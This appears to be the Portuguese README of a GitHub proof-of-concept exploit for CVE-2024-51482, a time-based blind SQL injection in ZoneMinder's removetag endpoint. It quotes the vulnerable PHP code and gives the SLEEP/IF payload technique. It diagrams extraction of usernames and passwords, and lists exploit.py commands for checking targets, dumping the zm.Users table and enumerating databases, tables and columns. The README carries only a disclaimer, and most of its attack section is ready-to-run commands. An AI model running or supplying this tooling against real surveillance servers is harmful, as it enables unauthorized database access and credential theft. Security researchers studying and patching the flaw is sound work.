
Prova de conceito de injeção SQL baseada em tempo para CVE-2024-51482 no ZoneMinder, com laboratório Docker reproduzível e extração automatizada de dados.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.
Este repositório contém um PoC de injeção SQL baseada em tempo direcionado ao ZoneMinder.
A ferramenta permite:
Também inclui um laboratório Docker totalmente reproduzível para testes seguros.
O ZoneMinder é um software de televisão de circuito fechado gratuito e de código aberto. A vulnerabilidade surge da validação insuficiente de entrada no endpoint removetag do ZoneMinder. A entrada fornecida pelo usuário é incorporada diretamente em consultas SQL sem sanitização ou parametrização adequada, permitindo que atacantes injetem payloads SQL maliciosos baseados em booleanos. O exploit utiliza:
SLEEP(x - IF(condition, 0, x))
para inferir dados através do tempo de resposta.
Trecho de código vulnerável completo do Aviso do Mantenedor no GitHub:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Atacante Aplicação Web ZoneMinder
│ │
│ [Autenticação] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← sessão autenticada
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Consulta SQL booleana executada
│ IF(condition, sem atraso, SLEEP)
│◄────────────────────────────────────────│
│ Resposta atrasada (oráculo de tempo) │ ← condição inferida
│ │
│ Repetir requisições │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Diferenças de tempo revelam caracteres │
│ │
│ Busca binária por caractere │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Dados extraídos (1 caractere por vez) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgação completa do banco de dados │
│ │
✓ Exfiltração completa de dados via SQLi cego
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure as variáveis de ambiente
docker compose up -d
Sem nenhuma flag, a ferramenta autentica no alvo, verifica sua vulnerabilidade e, se vulnerável, extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users (comando dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Apenas verifica se o alvo é vulnerável.
python exploit.py -t http://target/zm -u <username> -p <password> check
Extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users. Comando padrão se nenhum for especificado.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Lista todos os bancos de dados.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Lista tabelas em um banco de dados especificado.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Lista colunas em uma tabela especificada.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>